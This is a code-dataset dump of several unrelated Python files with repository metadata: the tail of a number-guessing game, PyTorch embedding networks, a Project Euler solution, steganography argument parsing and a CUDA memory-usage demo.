(first_val == val_one and (second_val == val_two or third_val == val_three or fourth_val == val_four)) or (second_val == val_two and (third_val == val_three or fourth_val == val_four)) or (third_val == val_three and fourth_val == val_four): print("There are 2 hits, 0 ducks.") print("Would you like to continue guessing? [Y or N]") player_status = input() elif (first_val == val_one and second_val == val_three and third_val == val_four and fourth_val == val_two) or (first_val == val_one and second_val == val_four and third_val == val_two and fourth_val == val_three) or (second_val == val_two and first_val == val_three and third_val == val_four and fourth_val == val_one) or (second_val == val_two and first_val == val_four and third_val == val_one and fourth_val == val_three) or (third_val == val_three and first_val == val_two and second_val == val_four and fourth_val == val_one) or (third_val == val_three and first_val == val_four and second_val == val_one and fourth_val == val_two) or (fourth_val == val_four and first_val == val_two and second_val == val_three and third_val == val_one) or (fourth_val == val_four and first_val == val_three and second_val == val_one and third_val == val_two): print("There is 1 hit, 3 ducks.") print("Would you like to continue guessing? [Y or N]") player_status = input() elif (first_val == val_one and third_val == val_two and (second_val == val_three or second_val == val_four)) or (first_val == val_one and second_val == val_three and third_val == val_four) or (first_val == val_one and third_val == val_four and (fourth_val == val_two or fourth_val == val_three)) or (first_val == val_one and fourth_val == val_three and third_val == val_two) or (first_val == val_one and second_val == val_four and (fourth_val == val_two or fourth_val == val_three)) or (first_val == val_one and second_val == val_three and fourth_val == val_two) or (second_val == val_two and first_val == val_three and (third_val == val_one or third_val == val_four)) or (second_val == val_two and first_val == val_four and third_val == val_one) or (second_val == val_two and first_val == val_four and (fourth_val == val_one or fourth_val == val_three)) or (second_val == val_two and first_val == val_three and fourth_val == val_one) or (second_val == val_two and third_val == val_four and (fourth_val == val_one or fourth_val == val_three)) or (second_val == val_two and third_val == val_one and fourth_val == val_three) or (third_val == val_three and second_val == val_four and (fourth_val == val_one or fourth_val == val_two)) or (third_val == val_three and second_val == val_one and fourth_val == val_two) or (third_val == val_three and first_val == val_four and (fourth_val == val_one or fourth_val == val_two)) or (third_val == val_three and first_val == val_two and fourth_val == val_one) or (third_val == val_three and first_val == val_two and (second_val == val_one or second_val == val_four)) or (third_val == val_three and first_val == val_four and second_val == val_one) or (fourth_val == val_four and first_val == val_two and (second_val == val_one or second_val == val_three)) or (fourth_val == val_four and first_val == val_three and second_val == val_one) or (fourth_val == val_four and first_val == val_three and (third_val == val_one or third_val == val_two)) or (fourth_val == val_four and first_val == val_two and third_val == val_one) or (fourth_val == val_four and second_val == val_three and (third_val == val_one or third_val == val_two)) or (fourth_val == val_four and second_val == val_one and third_val == val_two): print("There is 1 hit, 2 ducks.") print("Would you like to continue guessing? [Y or N]") player_status = input() elif (first_val == val_one and ((second_val == val_three or second_val == val_four) or (third_val == val_two or third_val == val_four) or (fourth_val == val_two or fourth_val == val_three))) or (second_val == val_two and ((first_val == val_three or first_val == val_four) or (third_val == val_one or third_val == val_four) or (fourth_val == val_one or fourth_val == val_three))) or (third_val == val_three and ((first_val == val_two or first_val == val_four) or (second_val == val_one or second_val == val_four) or (fourth_val == val_one or fourth_val == val_two))) or (fourth_val == val_four and ((first_val == val_two or first_val == val_three) or (second_val == val_one or second_val == val_three) or (third_val == val_one or third_val == val_two))): print("There is 1 hit, 1 duck.") print("Would you like to continue guessing? [Y or N]") player_status = input() elif first_val == val_one or second_val == val_two or third_val == val_three or fourth_val == val_four: print("There is 1 hit, 0 ducks.") print("Would you like to continue guessing? [Y or N]") player_status = input() elif (first_val == val_two and (second_val == val_one or second_val == val_three or second_val == val_four) and (third_val == val_one or third_val == val_four) and (fourth_val == val_one or fourth_val == val_three)) or (first_val == val_three and (second_val == val_one or second_val == val_four) and (third_val == val_one or third_val == val_four) and fourth_val == val_two) or (first_val == val_four and (second_val == val_one or second_val == val_three) and third_val == val_two and (fourth_val == val_one or fourth_val == val_three)): print("There are 0 hits, 4 ducks.") print("Would you like to continue guessing? [Y or N]") player_status = input() elif (first_val == val_two and (second_val == val_three or second_val == val_four) and (third_val == val_one or fourth_val == val_one or fourth_val == val_three or third_val == val_four)) or (first_val == val_three and (second_val == val_one or fourth_val == val_one or second_val == val_four or fourth_val == val_two) and (third_val == val_two or third_val == val_four)) or (first_val == val_four and (fourth_val == val_two or fourth_val == val_three) and (second_val == val_one or third_val == val_one or second_val == val_three or third_val == val_two)) or ((second_val == val_three or second_val == val_four or second_val == val_one) and (third_val == val_four or third_val == val_two or third_val == val_one) and (fourth_val == val_two or fourth_val == val_three or fourth_val == val_one)): print("There are 0 hits, 3 ducks.") print("Would you like to continue guessing? [Y or N]") player_status = input() elif (first_val == val_two and (second_val == val_one or second_val == val_three or second_val == val_four or third_val == val_one or third_val == val_four or fourth_val == val_one or fourth_val == val_three)) or (first_val == val_three and (second_val == val_one or second_val == val_four or third_val == val_one or third_val == val_two or third_val == val_four or fourth_val == val_one or fourth_val == val_two)) or (first_val == val_four and (second_val == val_one or second_val == val_three or third_val == val_one or third_val == val_two or fourth_val == val_one or fourth_val == val_two or fourth_val == val_three)) or (second_val == val_three and (third_val == val_one or third_val == val_two or third_val == val_four or fourth_val == val_one or fourth_val == val_two)) or (second_val == val_one and (third_val == val_two or third_val == val_four or fourth_val == val_two or fourth_val == val_three)) or (second_val == val_four and (third_val == val_one or third_val == val_two or fourth_val == val_one or fourth_val == val_two or fourth_val == val_three)) or (third_val == val_four and (fourth_val == val_one or fourth_val == val_two or fourth_val == val_three)) or (third_val == val_one and (fourth_val == val_two or fourth_val == val_three)) or (third_val == val_two and (fourth_val == val_one or fourth_val == val_three)): print("There are 0 hits, 2 ducks.") print("Would you like to continue guessing? [Y or N]") player_status = input() elif first_val == val_two or first_val == val_three or first_val == val_four or second_val == val_one or second_val == val_three or second_val == val_four or third_val == val_one or third_val == val_two or third_val == val_four or fourth_val == val_one or fourth_val == val_two or fourth_val == val_three: print("There are 0 hits, 1 duck.") print("Would you like to continue guessing? [Y or N]") player_status = input() else: print("There are 0 hits, 0 ducks.") print("Would you like to continue guessing? [Y or N]") player_status = input() if not (player_status == "Y" or player_status == "y"): print("The correct code was " + str(code_gen) + ". Thank you for playing.")
136.804598
2,247
0.710217
2,117
11,902
3.658479
0.04393
0.255649
0.148741
0.083796
0.910136
0.906779
0.901743
0.900194
0.886507
0.857327
0
0.004623
0.18207
11,902
86
2,248
138.395349
0.79096
0.006385
0
0.329114
1
0.025316
0.115622
0
0
0
0
0
0
1
0
false
0
0.012658
0
0.012658
0.43038
0
0
0
null
1
0
0
1
1
1
1
1
1
0
0
0
0
0
1
1
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
11
b099d36774b448f043823a3fa3de6f9a74040b0b
200
py
Python
blockchyp/crypto/__init__.py
blockchyp/blockchyp-python
0a1632240fa70e90b5692bdd645137989c2ca79e
[ "MIT" ]
2
2020-01-10T18:25:14.000Z
2021-02-03T13:08:50.000Z
blockchyp/crypto/__init__.py
blockchyp/blockchyp-python
0a1632240fa70e90b5692bdd645137989c2ca79e
[ "MIT" ]
8
2019-07-08T19:53:31.000Z
2021-06-02T00:52:51.000Z
blockchyp/crypto/__init__.py
blockchyp/blockchyp-python
0a1632240fa70e90b5692bdd645137989c2ca79e
[ "MIT" ]
null
null
null
"""Cryptographic helper functions.""" from blockchyp.crypto.auth import auth_headers from blockchyp.crypto.certificate import TerminalAdapter from blockchyp.crypto.symmetric import decrypt, encrypt
28.571429
56
0.84
23
200
7.26087
0.608696
0.233533
0.341317
0
0
0
0
0
0
0
0
0
0.09
200
6
57
33.333333
0.917582
0.155
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
b01ae9a9dcab8abdddec6d5a21357150d5b49b21
2,949
py
Python
models/embeddingnet.py
patrickphat/gfg_challenge
95579c90e9768545f6a7344e8e6c323f28a6e049
[ "Apache-2.0" ]
null
null
null
models/embeddingnet.py
patrickphat/gfg_challenge
95579c90e9768545f6a7344e8e6c323f28a6e049
[ "Apache-2.0" ]
null
null
null
models/embeddingnet.py
patrickphat/gfg_challenge
95579c90e9768545f6a7344e8e6c323f28a6e049
[ "Apache-2.0" ]
null
null
null
from torch import nn import pytorch_lightning as pl class EmbeddingNet(pl.LightningModule): ''' Multilayer Perceptron. ''' def __init__(self,input_dim, dropout=0.25): super().__init__() self.layers = nn.Sequential( nn.Dropout(p=dropout), nn.Linear(input_dim, 64), nn.ReLU(), nn.Linear(64, 64), nn.ReLU(), nn.Linear(64, 64) ) def forward(self, x): ''' Forward pass ''' return self.layers(x) class EmbeddingNetMedium(pl.LightningModule): ''' Multilayer Perceptron. ''' def __init__(self,input_dim, dropout=0.25): super().__init__() self.layers = nn.Sequential( nn.Dropout(p=dropout), nn.Linear(input_dim, 64), nn.ReLU(), nn.Linear(64, 64), nn.ReLU(), nn.Linear(64, 32) ) def forward(self, x): ''' Forward pass ''' return self.layers(x) class EmbeddingNetSmall(pl.LightningModule): ''' Multilayer Perceptron. ''' def __init__(self,input_dim, dropout=0.25): super().__init__() self.layers = nn.Sequential( nn.Dropout(p=dropout), nn.Linear(input_dim, 64), nn.ReLU(), nn.Linear(64, 32), nn.ReLU(), nn.Linear(32, 32) ) def forward(self, x): ''' Forward pass ''' return self.layers(x) class EmbeddingNetTiny(pl.LightningModule): ''' Multilayer Perceptron. ''' def __init__(self,input_dim, dropout=0.25): super().__init__() self.layers = nn.Sequential( nn.Dropout(p=dropout), nn.Linear(input_dim, 32), nn.ReLU(), nn.Linear(32, 32), nn.ReLU(), nn.Linear(32, 16) ) def forward(self, x): ''' Forward pass ''' return self.layers(x) class EmbeddingNetSuperTiny(pl.LightningModule): ''' Multilayer Perceptron. ''' def __init__(self,input_dim, dropout=0.25): super().__init__() self.layers = nn.Sequential( nn.Dropout(p=dropout), nn.Linear(input_dim, 16), nn.ReLU(), nn.Linear(16, 16), nn.ReLU(), nn.Linear(16, 8) ) def forward(self, x): ''' Forward pass ''' return self.layers(x) class EmbeddingNetAtom(pl.LightningModule): ''' Multilayer Perceptron. ''' def __init__(self,input_dim, dropout=0.25): super().__init__() self.layers = nn.Sequential( nn.Dropout(p=dropout), nn.Linear(input_dim, 16), nn.ReLU(), nn.Linear(16, 8) ) def forward(self, x): ''' Forward pass ''' return self.layers(x)
24.575
48
0.501865
309
2,949
4.592233
0.12945
0.095842
0.062016
0.108527
0.894292
0.894292
0.883016
0.854827
0.854827
0.854827
0
0.038318
0.362835
2,949
120
49
24.575
0.716871
0.072906
0
0.717949
0
0
0
0
0
0
0
0
0
1
0.153846
false
0
0.025641
0
0.333333
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
b03b2dd7db4e8cb173e01d69d75305b5ef3ca5c0
1,419
py
Python
Euler_008.py
David-boo/Euler
6ac5620e401949b2b5a730af70e65c3ea065b363
[ "MIT" ]
null
null
null
Euler_008.py
David-boo/Euler
6ac5620e401949b2b5a730af70e65c3ea065b363
[ "MIT" ]
null
null
null
Euler_008.py
David-boo/Euler
6ac5620e401949b2b5a730af70e65c3ea065b363
[ "MIT" ]
null
null
null
# Code on Python 3.7.4 # Working @ Dec, 2020 # david-boo.github.io # Define both number and length (13). Then, just check every substring of length 13 and store and print maximum. num = "7316717653133062491922511967442657474235534919493496983520312774506326239578318016984801869478851843858615607891129494954595017379583319528532088055111254069874715852386305071569329096329522744304355766896648950445244523161731856403098711121722383113622298934233803081353362766142828064444866452387493035890729629049156044077239071381051585930796086670172427121883998797908792274921901699720888093776657273330010533678812202354218097512545405947522435258490771167055601360483958644670632441572215539753697817977846174064955149290862569321978468622482839722413756570560574902614079729686524145351004748216637048440319989000889524345065854122758866688116427171479924442928230863465674813919123162824586178664583591245665294765456828489128831426076900422421902267105562632111110937054421750694165896040807198403850962455444362981230987879927244284909188845801561660979191338754992005240636899125607176060588611646710940507754100225698315520005593572972571636269561882670428252483600823257530420752963450" length = 13 max = 0 for i in range(0, len(num)-length+1): sub = num[i:(i + length)] k = 1 for j in range(0, len(sub)): k = k * int(sub[j]) if max < k: max = k print(max)
64.5
1,009
0.868922
73
1,419
16.890411
0.589041
0.019465
0.012976
0.017843
0
0
0
0
0
0
0
0.790987
0.093023
1,419
21
1,010
67.571429
0.167055
0.121212
0
0
0
0
0.819001
0.819001
0
1
0
0
0
1
0
false
0
0
0
0
0.090909
0
0
1
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
1
0
0
0
0
0
1
1
null
1
0
0
0
0
0
0
0
0
0
0
0
0
7
b05322c0201b2ace1dc01fe18aad442a9f023906
1,170
py
Python
esteganography/arguments.py
giovaninppc/MC920
7d46238f4079dabc4769c72cbed44d024fcf5c97
[ "MIT" ]
1
2019-08-23T19:23:18.000Z
2019-08-23T19:23:18.000Z
esteganography/arguments.py
giovaninppc/MC920
7d46238f4079dabc4769c72cbed44d024fcf5c97
[ "MIT" ]
null
null
null
esteganography/arguments.py
giovaninppc/MC920
7d46238f4079dabc4769c72cbed44d024fcf5c97
[ "MIT" ]
1
2020-11-05T23:56:49.000Z
2020-11-05T23:56:49.000Z
import argparse def setupCodificationArguments(): argParser = argparse.ArgumentParser(description = 'Arguments for the Image processing') argParser.add_argument('input_image_path', help = 'The path to image file to be processed') argParser.add_argument('input_text', help = 'The path to the text to be codificated') argParser.add_argument('bits', help = 'The bit plan to be used') argParser.add_argument('output_image_path', help = 'The path to image file to be stored') argParser.add_argument('-d', '--debug', help='Show debug info', action='store_true') args = argParser.parse_args() return args def setupDecodificationArguments(): argParser = argparse.ArgumentParser(description = 'Arguments for the Image processing') argParser.add_argument('input_image_path', help = 'The path to image file to be processed') argParser.add_argument('bits', help = 'The bit plan to be used') argParser.add_argument('output_text_path', help = 'The path to decripted text file to be stored') argParser.add_argument('-d', '--debug', help='Show debug info', action='store_true') args = argParser.parse_args() return args
46.8
101
0.730769
157
1,170
5.305732
0.261147
0.129652
0.216086
0.078031
0.837935
0.817527
0.817527
0.817527
0.817527
0.817527
0
0
0.158974
1,170
24
102
48.75
0.846545
0
0
0.666667
0
0
0.391453
0
0
0
0
0
0
1
0.111111
false
0
0.055556
0
0.277778
0
0
0
0
null
0
1
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
b05367807d977b790052d5901c99cdeee135137c
97
py
Python
lsunmodel/__init__.py
Hourout/lsunmodel
176dcf0a97016830841589c51443d0b48ac90dcd
[ "Apache-2.0" ]
null
null
null
lsunmodel/__init__.py
Hourout/lsunmodel
176dcf0a97016830841589c51443d0b48ac90dcd
[ "Apache-2.0" ]
null
null
null
lsunmodel/__init__.py
Hourout/lsunmodel
176dcf0a97016830841589c51443d0b48ac90dcd
[ "Apache-2.0" ]
null
null
null
# from lsunmodel import datasets # from lsunmodel import trainer from lsunmodel import predictor
24.25
32
0.835052
12
97
6.75
0.5
0.481481
0.703704
0
0
0
0
0
0
0
0
0
0.14433
97
3
33
32.333333
0.975904
0.618557
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
c6db42c6c3df830350c47907f3379aa11436da4b
123
py
Python
core/slack/util/__init__.py
ryanolee/pager-duty-sync
1fd88634e461b5db647d856bc6b59f990944685e
[ "MIT" ]
null
null
null
core/slack/util/__init__.py
ryanolee/pager-duty-sync
1fd88634e461b5db647d856bc6b59f990944685e
[ "MIT" ]
2
2020-09-27T18:19:17.000Z
2021-06-29T09:21:04.000Z
core/slack/util/__init__.py
ryanolee/pager-duty-sync
1fd88634e461b5db647d856bc6b59f990944685e
[ "MIT" ]
null
null
null
from .text_utils import get_all_users_from_blocks, get_date_range_from_string from .user_utils import get_all_user_profiles
61.5
77
0.910569
22
123
4.5
0.590909
0.222222
0.282828
0.343434
0
0
0
0
0
0
0
0
0.065041
123
2
78
61.5
0.86087
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
af4e562e647a6838680281ad30337f6c0ce3fb47
3,770
py
Python
code_submission/demo_torch_memory_management.py
joneswong/AutoGraph
62ea5dd250424ace5c6d6aa72cb196ed335dc2e3
[ "Apache-2.0" ]
4
2020-06-13T02:11:06.000Z
2020-10-12T09:08:02.000Z
code_submission/demo_torch_memory_management.py
joneswong/AutoGraph
62ea5dd250424ace5c6d6aa72cb196ed335dc2e3
[ "Apache-2.0" ]
null
null
null
code_submission/demo_torch_memory_management.py
joneswong/AutoGraph
62ea5dd250424ace5c6d6aa72cb196ed335dc2e3
[ "Apache-2.0" ]
3
2020-06-11T09:06:01.000Z
2020-10-16T05:37:38.000Z
import numpy as np import torch from pynvml import * nvmlInit() from algorithms.gcn_algo import GCN device = torch.device('cuda:0') print("*********** 0 ***********") #print(torch.cuda.get_device_properties(0).total_memory) #print(torch.cuda.memory_cached(0)) print(torch.cuda.memory_cached(0)) #print(torch.cuda.max_memory_cached(0)) print(torch.cuda.memory_allocated(0)) #print(torch.cuda.max_memory_allocated(0)) print("**********************") h = nvmlDeviceGetHandleByIndex(0) info = nvmlDeviceGetMemoryInfo(h) print(f'total : {info.total}') print(f'free : {info.free}') print(f'used : {info.used}') print("*********** 0 ***********") ts = list() for i in range(100): a_cpu = torch.ones((26843540,), dtype=torch.float32) a_gpu = a_cpu.to(device) ts.append(a_gpu) print("********** {} ************".format(i)) #print(torch.cuda.get_device_properties(0).total_memory) #print(torch.cuda.memory_cached(0)) print(torch.cuda.memory_cached(0)) print(torch.cuda.max_memory_cached(0)) print(torch.cuda.memory_allocated(0)) print(torch.cuda.max_memory_allocated(0)) print("**********************") h = nvmlDeviceGetHandleByIndex(0) info = nvmlDeviceGetMemoryInfo(h) print(f'total : {info.total}') print(f'free : {info.free}') print(f'used : {info.used}') print("*********** {} ***********".format(i)) if i % 10 == 0: input() del ts[:50] print("********** del half before empty ************") #print(torch.cuda.get_device_properties(0).total_memory) #print(torch.cuda.memory_cached(0)) print(torch.cuda.memory_cached(0)) print(torch.cuda.max_memory_cached(0)) print(torch.cuda.memory_allocated(0)) print(torch.cuda.max_memory_allocated(0)) print("**********************") h = nvmlDeviceGetHandleByIndex(0) info = nvmlDeviceGetMemoryInfo(h) print(f'total : {info.total}') print(f'free : {info.free}') print(f'used : {info.used}') print("*********** del half before empty ***********") input() """ torch.cuda.empty_cache() print("********** del half after empty ************") #print(torch.cuda.get_device_properties(0).total_memory) #print(torch.cuda.memory_cached(0)) print(torch.cuda.memory_cached(0)) print(torch.cuda.max_memory_cached(0)) print(torch.cuda.memory_allocated(0)) print(torch.cuda.max_memory_allocated(0)) print("**********************") h = nvmlDeviceGetHandleByIndex(0) info = nvmlDeviceGetMemoryInfo(h) print(f'total : {info.total}') print(f'free : {info.free}') print(f'used : {info.used}') print("*********** del half after empty ***********") input() """ estimate_available = info.free + (torch.cuda.memory_cached(0) - torch.cuda.memory_allocated(0)) print(estimate_available) a_cpu = torch.ones((int((0.9*estimate_available)/4),), dtype=torch.float32) a_gpu = a_cpu.to(device) print("********** success or fail ************") #print(torch.cuda.get_device_properties(0).total_memory) #print(torch.cuda.memory_cached(0)) print(torch.cuda.memory_cached(0)) print(torch.cuda.max_memory_cached(0)) print(torch.cuda.memory_allocated(0)) print(torch.cuda.max_memory_allocated(0)) print("**********************") h = nvmlDeviceGetHandleByIndex(0) info = nvmlDeviceGetMemoryInfo(h) print(f'total : {info.total}') print(f'free : {info.free}') print(f'used : {info.used}') print("*********** success or fail ***********") input() """ a = GCN(2, 123) b = list(a.parameters()) num_floats = 0 for param in b: print(param.size()) tmp = np.prod(param.size()) num_floats += tmp print(tmp) print(num_floats) mye = GCN.estimate_mem_consumption(10000, 600000, 2, 123) print(torch.cuda.get_device_properties(0).total_memory) print(torch.cuda.memory_cached(0)) print(torch.cuda.memory_allocated(0)) print(mye) """
31.157025
95
0.649337
513
3,770
4.62768
0.153996
0.136479
0.194608
0.139006
0.789806
0.75695
0.744313
0.744313
0.744313
0.716512
0
0.025633
0.11008
3,770
120
96
31.416667
0.681967
0.115385
0
0.681818
0
0
0.26997
0.037591
0
0
0
0
0
1
0
false
0
0.060606
0
0.060606
0.590909
0
0
0
null
0
1
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
7